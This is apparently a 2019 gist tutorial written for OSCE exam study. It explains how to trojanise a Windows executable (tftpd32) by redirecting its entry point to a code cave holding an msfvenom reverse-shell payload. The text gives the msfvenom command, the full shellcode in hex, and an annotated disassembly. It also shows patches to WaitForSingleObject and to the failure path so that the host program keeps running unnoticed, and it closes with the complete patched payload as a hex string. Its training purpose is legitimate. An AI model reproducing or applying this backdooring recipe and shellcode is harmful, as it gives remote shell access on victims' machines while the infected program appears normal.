· 6 years ago · Sep 30, 2019, 02:20 AM
1## Looking for `WaitForSingleObject` call within modern **msfvenom** generated payload.
2-----------------------------------------------------------------------------
3
4**Abstract**
5
6This is a document explaining how to locate `WaitForSingleObject(..., INFINITE)` within **msfvenom's** (4.12.23-dev) generated payload and how to fix the payload's glitches. It goes through the analysis of a **windows/shell_reverse_tcp** payload, touching issues like _stack alignment_, _WaitForSingleObject_ locating & patching. It has been written when I realised there are many topics on the Offensive-Security OSCE/CTP forums touching problem of finding this particular Windows API. Since RE is one of my stronger FU's I decided to write down my explanation of the subject.
7
8
9**Contents:**
10
111. Generating a proper payload
122. Preparing target executable.
133. Embedding msfvenom payload to the code cave
144. Explaining what the payload is all about
155. Patching the Payload to make it work as needed
166. Final payload with comments + hex string
17
18
19### Step 1: Generating a proper payload
20-----------------------------------------------------------------------------
21
22Firstly, we are about to generate proper payload using **msfvenom**. The key here is to use **EXITFUNC=none** option in order to let the payload to proceed with code flow further, without invoking `ExitProcess` / `ExitThread`.
23
24The payload selected here will be *windows/shell_reverse_tcp* althougth there should be no issue with using *windows/meterpreter/reverse_tcp* as well.
25
26Here's the proper **msfvenom** invokation:
27
28```
29kali|16:53|~/osce/labs/vista # msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.XXX LPORT=4444 -f hex EXITFUNC=none
30No platform was selected, choosing Msf::Module::Platform::Windows from the payload
31No Arch selected, selecting Arch: x86 from the payload
32No encoder or badchars specified, outputting raw payload
33Payload size: 324 bytes
34Final size of hex file: 648 bytes
35fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd5976a0568c0a86437680200115c89e66a1056576899a57461ffd585c0740cff4e0875ec68f0b5a256ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbaac5e25d68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5
36```
37
38We then take this payload and copy it into clipboard.
39
40
41### Step 2: Preparing target executable.
42-----------------------------------------------------------------------------
43
44I have myself always been more comfortable with overwriting `_IMAGE_OPTIONAL_HEADER.AddressOfEntryPoint` field rather than modifying first bytes of the OEP (_Original Entry Point_), but this does not make any difference for explaining patching process of the payload. As a matter of fact, modified `AddressOfEntryPoint` pointing at the last section in the PE file, which is relatively small might trigger some flags in Antivirus products (or may be more suspicious than using _Borrowed bytes_ technique as discussed in CTP Module #3). At the end we want to get into our code cave / injected new section or in other means our payload.
45
46If one goes for _borrowed bytes_ technique (meaning, by overwriting bytes from the OEP, then pasting those original bytes at the end of the custom payload before jumping back) those bytes will have to be pasted at the end of our payload, before the actual jump, and after `POPAD` / registers restoration.
47
48So, I have changed (with having noted previous, original value of that field) *AddressOfEntryPoint* field into address of my new section (**0x00446000**), then inserted around let's say 600 NOPs consecutively.
49
50My section looks the following:
51`.NewSec, VOffset: 0x46000, VSize: 0x1000, ROffset: 0x2D000, RSize: 0x1000, Flags: 0xE000000E0`
52
53From now on I assume my code cave starts at **0x446000** (that is: *ImageBase* + *VOffset* ).
54
55
56### Step 3: Embedding msfvenom payload to the code cave
57-----------------------------------------------------------------------------
58
59At the end of the day, we need to have our code cave follow such layout:
60
611. Some nops (nop sled)
622. `PUSHAD`
633. `PUSHFD`
644. Some nops
655. MSFVENOM PAYLOAD, unmodified at the moment anyhow.
666. Some nops
677. JMP to point 9.
688. `ADD ESP, 0x1A4` - Stack alignment, when payload couldn't connect
699. `POPFD`
7010. `POPAD`
7111. (OPTIONAL) if one borrowed bytes from OEP, instead of modifying AddressOfEntryPoint - those bytes has to be pasted here
7212. `JMP OEP` - where OEP is a PREVIOUS, original value of the field **AddressOfEntryPoint** that we clobbered.
73
74The final payload has been pasted at the end of this gist.
75
76
77### Step 4: Explaining what the payload is all about
78-----------------------------------------------------------------------------
79
80Here's the explanation of the **windows/shell_reverse_tcp** payload in particular.
81
821. `ResolveImport(DWORD dwFunctionNameHash, DWORD dwLibraryNameHash, ...);`
83
84This is a function, located at the **0x00446060** (always this address will get passed via **EBP** register) that takes in a first argument a function name hash, then resolves it and calls with having supplied additional parameters passed originally to that routine:
85
86```
87; Function start
8800446060 60 pushad ; ResolveImport(dwHash, ...);
8900446061 89E5 mov ebp, esp
9000446063 31C0 xor eax, eax
9100446065 64:8B50 30 mov edx, dword ptr fs:[eax+30]
92...
93004460D7 5A pop edx
94004460D8 51 push ecx
95004460D9 - FFE0 jmp eax ; Call resolved import with supplied params
96; Function end
97```
98
99That last `JMP eax` does actual function (import) call with supplied parameters, than it returns to the point where the `ResolveImport` function was called from, for instance:
100
101```
102004460E3 68 33320000 push 3233
103004460E8 68 7773325F push 5F327377
104004460ED 54 push esp
105004460EE 68 4C772607 push 726774C
106004460F3 FFD5 call ebp ; ResolveImport("kernel32.dll", "LoadLibrary", "ws2_32.dll");
107004460F5 B8 90010000 mov eax, 190
108```
109
110Here's the code flow: 0x004460F3 invokes the `ResolveImport("kernel32.dll", "LoadLibrary", "ws2_32.dll");` function, that yields handle to the loaded **ws2_32.dll** DLL - the one responsible for internetwork communication API. Then, from the 0004460D9 JMP within `ResolveImport` - the payload will return to the 0x004460F5 and take this up from that point on.
111
112Having discussed how system imports are being invoked - here's the list of the APIs that get called:
113
1141. `LoadLibrary("ws2_32.dll")`
1152. `WSAStartup(...)`
1163. `WSASocketA(...)`
1174. `connect(...)`
1185. If connect succeeds: `CreateProcess("cmd", ...)`
1196. If connect succeeds: `WaitForSingleObject(..., INFINITE)`
120
121
122### Step 5: Patching the Payload to make it work as needed
123-----------------------------------------------------------------------------
124
125**A)** Modifying the -1 (INFINITE) to 0 wait parameter.
126
127Take a look at the below snippet:
128
129```
1300044616A 68 79CC3F86 push 863FCC79
1310044616F FFD5 call ebp ; CreateProcess(cmd)
13200446171 89E0 mov eax, esp
13300446173 4E dec esi
13400446174 56 push esi
13500446175 46 inc esi
13600446176 FF30 push dword ptr ds:[eax]
13700446178 68 08871D60 push 601D8708
1380044617D FFD5 call ebp ; WaitForSingleObject(..., INFINITE)
1390044617F BB FE0E32EA mov ebx, EA320EFE
140```
141
142This is the place where after creating a CMD process the payload goes into awaiting for the process to exit. When this happens, the payload may proceed to it's **EXITFUNC**.
143
144Notice the most important sequence:
145
146```
14700446173 4E dec esi
14800446174 56 push esi
149```
150
151This is the very place where the **ESI** which originally was **0x00000000** gets decremented resulting in -1 (**0xffffffff**). In order to prevent having -1 we got to NOP out that `dec esi` instruction:
152
153```
15400446173 4E nop ; PATCHED
15500446174 56 push esi
156```
157
158
159**B)** The final patch that shall be applied is what happens when the payload fails connecting with our Kali/Backtrack machine. Originally it would go as far as:
160
161```
16200446130 74 0C je short tftpd32-.0044613E
16300446132 FF4E 08 dec dword ptr ds:[esi+8]
16400446135 ^ 75 EC jnz short tftpd32-.00446123
16500446137 68 F0B5A256 push 56A2B5F0
1660044613C FFD5 call ebp ; Probably ExitProcess
1670044613E 68 636D6400 push 646D63
16800446143 89E3 mov ebx, esp
169```
170
171This **JE** (0x00446130) check would fail, resulting in decrementing **tryAgain** counter and when that counter hits a zero - the **JNZ** not kicks in, leading the payload straight to the `ExitProcess` which results in terminating our infected binary. No TFTPD window, sorry.
172
173To remedy premature infected binary termination, we have to patch **PUSH** instruction (to avoid messing with the stack when not needed) into a **JMP** that would lead to our stack aligning code as described in **Step 3** point **8** of the numbered list (remember that we need to jump over that point _7_ and land right into point _8_ ).
174
175Stack aligning is needed because when the payload terminates prematurly it does not have any chances of getting the stack into it's original position. I have calculated that in this very point we have to add **0x1A4** to the **ESP** to get it right. So we need a `add esp, 0x1a4` instruction right before the skipping jump.
176
177How did I calculated that?
1781. Place brakepoint after the PUSHFD instruction (point 3. of previous number list)
1792. Note the ESP value (ESP0)
1803. Place breakpoint right in place of that PUSH at (0x00446137)
1814. Note the ESP value (ESP1)
1825. Calculate the difference (DIFF := ESP0 - ESP1) -> I've got 0x1A4.
183
184Unfortunately, since there is a jump shortly before:
185```
18600446130 74 0C je short tftpd32-.0044613E
187```
188Leading into address that would get corrupted if we had applied the second patch _inline_ (that is in place of that **PUSH** instruction), the result would be an Access Violation.
189
190herefore we have to refine the strategy:
191
1921. Place at the 0x00446137 JUMP instruction (right after the payload) but before our `POPFD` instruction.
1932. At the address: 0x004461b3 place a JMP-over instruction that would let the program skip Stack aligning if it reaches that place normally, after connecting to our payload. (point nr. 7 of our previous list)
1943. Then, at the 0x004461b5 we add stack aligning operation (add esp, 0x1a4) - (point nr. 8 of our previous list)
195
196
197and that's all, this is how it supposed to look like:
198
199
200```
2010044612C FFD5 call ebp
2020044612E 85C0 test eax, eax
20300446130 74 0C je short tftpd32-.0044613E
20400446132 FF4E 08 dec dword ptr ds:[esi+8]
20500446135 ^ 75 EC jnz short tftpd32-.00446123
20600446137 EB 7C jmp short tftpd32-.004461B5 ; PATCHED
20700446139 90 nop ; PATCHED
2080044613A 90 nop ; PATCHED
2090044613B 90 nop ; PATCHED
2100044613C FFD5 call ebp
2110044613E 68 636D6400 push 646D63
21200446143 89E3 mov ebx, esp
21300446145 57 push edi
214...
215004461B3 /EB 07 jmp short tftpd32-.004461BC
216004461B5 |81C4 A4010000 add esp, 1A4
217004461BB |90 nop
218004461BC \90 nop
219004461BD 9D popfd
220004461BE 61 popad
221004461BF - E9 9AB1FCFF jmp tftpd32-.0041135E
222```
223
224Having these two patches applied, we save the binary and this is all.
225
226
227
228
229### Step 6: Final payload with comments
230-----------------------------------------------------------------------------
231
232```
23300446000 90 nop ; MODULE DETOURED ENTRY POINT.
23400446001 90 nop
23500446002 60 pushad
23600446003 9C pushfd
23700446004 90 nop
23800446005 90 nop
23900446006 90 nop
24000446007 90 nop
24100446008 90 nop
24200446009 90 nop
2430044600A 90 nop
2440044600B 90 nop
2450044600C 90 nop
2460044600D 90 nop
2470044600E 90 nop
2480044600F 90 nop
24900446010 90 nop
25000446011 90 nop
25100446012 90 nop
25200446013 90 nop
25300446014 90 nop
25400446015 90 nop
25500446016 90 nop
25600446017 90 nop
25700446018 90 nop
25800446019 90 nop
2590044601A 90 nop
2600044601B 90 nop
2610044601C 90 nop
2620044601D 90 nop
2630044601E 90 nop
2640044601F 90 nop
26500446020 90 nop
26600446021 90 nop
26700446022 90 nop
26800446023 90 nop
26900446024 90 nop
27000446025 90 nop
27100446026 90 nop
27200446027 90 nop
27300446028 90 nop
27400446029 90 nop
2750044602A 90 nop
2760044602B 90 nop
2770044602C 90 nop
2780044602D 90 nop
2790044602E 90 nop
2800044602F 90 nop
28100446030 90 nop
28200446031 90 nop
28300446032 90 nop
28400446033 90 nop
28500446034 90 nop
28600446035 90 nop
28700446036 90 nop
28800446037 90 nop
28900446038 90 nop
29000446039 90 nop
2910044603A 90 nop
2920044603B 90 nop
2930044603C 90 nop
2940044603D 90 nop
2950044603E 90 nop
2960044603F 90 nop
29700446040 90 nop
29800446041 90 nop
29900446042 90 nop
30000446043 90 nop
30100446044 90 nop
30200446045 90 nop
30300446046 90 nop
30400446047 90 nop
30500446048 90 nop
30600446049 90 nop
3070044604A 90 nop
3080044604B 90 nop
3090044604C 90 nop
3100044604D 90 nop
3110044604E 90 nop
3120044604F 90 nop
31300446050 90 nop
31400446051 90 nop
31500446052 90 nop
31600446053 90 nop
31700446054 90 nop
31800446055 90 nop
31900446056 90 nop
32000446057 90 nop
32100446058 90 nop
32200446059 90 nop
3230044605A FC cld
3240044605B E8 82000000 call tftpd32-.004460E2
32500446060 60 pushad ; ResolveImports(dwFuncNameHash, dwLibrNameHash, ...)
32600446061 89E5 mov ebp, esp
32700446063 31C0 xor eax, eax
32800446065 64:8B50 30 mov edx, dword ptr fs:[eax+30]
32900446069 8B52 0C mov edx, dword ptr ds:[edx+C]
3300044606C 8B52 14 mov edx, dword ptr ds:[edx+14]
3310044606F 8B72 28 mov esi, dword ptr ds:[edx+28]
33200446072 0FB74A 26 movzx ecx, word ptr ds:[edx+26]
33300446076 31FF xor edi, edi
33400446078 AC lods byte ptr ds:[esi]
33500446079 3C 61 cmp al, 61
3360044607B 7C 02 jl short tftpd32-.0044607F
3370044607D 2C 20 sub al, 20
3380044607F C1CF 0D ror edi, 0D
33900446082 01C7 add edi, eax
34000446084 ^ E2 F2 loopd short tftpd32-.00446078
34100446086 52 push edx
34200446087 57 push edi
34300446088 8B52 10 mov edx, dword ptr ds:[edx+10]
3440044608B 8B4A 3C mov ecx, dword ptr ds:[edx+3C]
3450044608E 8B4C11 78 mov ecx, dword ptr ds:[ecx+edx+>
34600446092 E3 48 jecxz short tftpd32-.004460DC
34700446094 01D1 add ecx, edx
34800446096 51 push ecx
34900446097 8B59 20 mov ebx, dword ptr ds:[ecx+20]
3500044609A 01D3 add ebx, edx
3510044609C 8B49 18 mov ecx, dword ptr ds:[ecx+18]
3520044609F E3 3A jecxz short tftpd32-.004460DB
353004460A1 49 dec ecx
354004460A2 8B348B mov esi, dword ptr ds:[ebx+ecx*>
355004460A5 01D6 add esi, edx
356004460A7 31FF xor edi, edi
357004460A9 AC lods byte ptr ds:[esi]
358004460AA C1CF 0D ror edi, 0D
359004460AD 01C7 add edi, eax
360004460AF 38E0 cmp al, ah
361004460B1 ^ 75 F6 jnz short tftpd32-.004460A9
362004460B3 037D F8 add edi, dword ptr ss:[ebp-8]
363004460B6 3B7D 24 cmp edi, dword ptr ss:[ebp+24]
364004460B9 ^ 75 E4 jnz short tftpd32-.0044609F
365004460BB 58 pop eax
366004460BC 8B58 24 mov ebx, dword ptr ds:[eax+24]
367004460BF 01D3 add ebx, edx
368004460C1 66:8B0C4B mov cx, word ptr ds:[ebx+ecx*2]
369004460C5 8B58 1C mov ebx, dword ptr ds:[eax+1C]
370004460C8 01D3 add ebx, edx
371004460CA 8B048B mov eax, dword ptr ds:[ebx+ecx*>
372004460CD 01D0 add eax, edx
373004460CF 894424 24 mov dword ptr ss:[esp+24], eax
374004460D3 5B pop ebx
375004460D4 5B pop ebx
376004460D5 61 popad
377004460D6 59 pop ecx
378004460D7 5A pop edx
379004460D8 51 push ecx
380004460D9 FFE0 jmp eax ; Resolved import function call
381004460DB 5F pop edi
382004460DC 5F pop edi
383004460DD 5A pop edx
384004460DE 8B12 mov edx, dword ptr ds:[edx]
385004460E0 ^ EB 8D jmp short tftpd32-.0044606F
386004460E2 5D pop ebp
387004460E3 68 33320000 push 3233
388004460E8 68 7773325F push 5F327377
389004460ED 54 push esp
390004460EE 68 4C772607 push 726774C
391004460F3 FFD5 call ebp ; LoadLibrary('ws2_32.dll');
392004460F5 B8 90010000 mov eax, 190
393004460FA 29C4 sub esp, eax
394004460FC 54 push esp
395004460FD 50 push eax
396004460FE 68 29806B00 push 6B8029
39700446103 FFD5 call ebp ; WSAStartupA()
39800446105 50 push eax
39900446106 50 push eax
40000446107 50 push eax
40100446108 50 push eax
40200446109 40 inc eax
4030044610A 50 push eax
4040044610B 40 inc eax
4050044610C 50 push eax
4060044610D 68 EA0FDFE0 push E0DF0FEA
40700446112 FFD5 call ebp ; WSASocketA()
40800446114 97 xchg eax, edi
40900446115 6A 05 push 5
41000446117 68 C0A86437 push 3764A8C0
4110044611C 68 0200115C push 5C110002
41200446121 89E6 mov esi, esp
41300446123 6A 10 push 10
41400446125 56 push esi
41500446126 57 push edi
41600446127 68 99A57461 push 6174A599
4170044612C FFD5 call ebp ; connect()
4180044612E 85C0 test eax, eax ; does connect succeeded?
41900446130 74 0C je short tftpd32-.0044613E
42000446132 FF4E 08 dec dword ptr ds:[esi+8] ; if not, try again, until counter not zero.
42100446135 ^ 75 EC jnz short tftpd32-.00446123
42200446137 EB 7C jmp short tftpd32-.004461B5 ; Could not connect, SKIP to stack align and
42300446139 90 nop ; proceed further with infected binary.
4240044613A 90 nop ; PATCHED
4250044613B 90 nop ; PATCHED
4260044613C FFD5 call ebp ; Here was an ExitProcess call
4270044613E 68 636D6400 push 646D63 ; connect() succeeded, carry on.
42800446143 89E3 mov ebx, esp
42900446145 57 push edi
43000446146 57 push edi
43100446147 57 push edi
43200446148 31F6 xor esi, esi
4330044614A 6A 12 push 12
4340044614C 59 pop ecx
4350044614D 56 push esi
4360044614E ^ E2 FD loopd short tftpd32-.0044614D
43700446150 66:C74424 3C >mov word ptr ss:[esp+3C], 101
43800446157 8D4424 10 lea eax, dword ptr ss:[esp+10]
4390044615B C600 44 mov byte ptr ds:[eax], 44
4400044615E 54 push esp
4410044615F 50 push eax
44200446160 56 push esi
44300446161 56 push esi
44400446162 56 push esi
44500446163 46 inc esi
44600446164 56 push esi
44700446165 4E dec esi
44800446166 56 push esi
44900446167 56 push esi
45000446168 53 push ebx
45100446169 56 push esi
4520044616A 68 79CC3F86 push 863FCC79
4530044616F FFD5 call ebp ; CreateProcess(cmd) with redirected streams/handle
45400446171 89E0 mov eax, esp
45500446173 4E nop ; PATCHED, previous ESI decrementing (-1 -> INF)
45600446174 56 push esi
45700446175 46 inc esi
45800446176 FF30 push dword ptr ds:[eax]
45900446178 68 08871D60 push 601D8708
4600044617D FFD5 call ebp ; WaitForSingleObject()
4610044617F BB AAC5E25D mov ebx, 5DE2C5AA
46200446184 68 A695BD9D push 9DBD95A6
46300446189 FFD5 call ebp ; GetVersion()
4640044618B 3C 06 cmp al, 6
4650044618D 7C 0A jl short tftpd32-.00446199
4660044618F 80FB E0 cmp bl, 0E0
46700446192 75 05 jnz short tftpd32-.00446199
46800446194 BB 4713726F mov ebx, 6F721347
46900446199 6A 00 push 0
4700044619B 53 push ebx
4710044619C FFD5 call ebp ; GetLastError()
4720044619E 90 nop ; Start of our trailing NOP Sled
4730044619F 90 nop
474004461A0 90 nop
475004461A1 90 nop
476004461A2 90 nop
477004461A3 90 nop
478004461A4 90 nop
479004461A5 90 nop
480004461A6 90 nop
481004461A7 90 nop
482004461A8 90 nop
483004461A9 90 nop
484004461AA 90 nop
485004461AB 90 nop
486004461AC 90 nop
487004461AD 90 nop
488004461AE 90 nop
489004461AF 90 nop
490004461B0 90 nop
491004461B1 90 nop
492004461B2 90 nop
493004461B3 EB 07 jmp short tftpd32-.004461BC ; If we reached here, the Payload connected
494004461B5 81C4 A4010000 add esp, 1A4 ; If we reached here, the Payload could not connect
495004461BB 90 nop ; and therefore stack aligning is needed.
496004461BC 90 nop
497004461BD 9D popfd ; Restore original registers and flags values
498004461BE 61 popad
499004461BF - E9 9AB1FCFF jmp tftpd32-.0041135E ; Jump to Original Entry Point (OEP)
500004461C4 90 nop
501```
502
503Or in hex-string:
504
505```
5069090609c9090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd5976a0568c0a86437680200115c89e66a1056576899a57461ffd585c0740cff4e0875eceb7c909090ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e0905646ff306808871d60ffd5bbaac5e25d68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5909090909090909090909090909090909090909090eb0781c4a401000090909d61e99ab1fcff90
507```
508
509Remember to add a final **JMP OEP** instruction.
510
511Good luck & Have fun.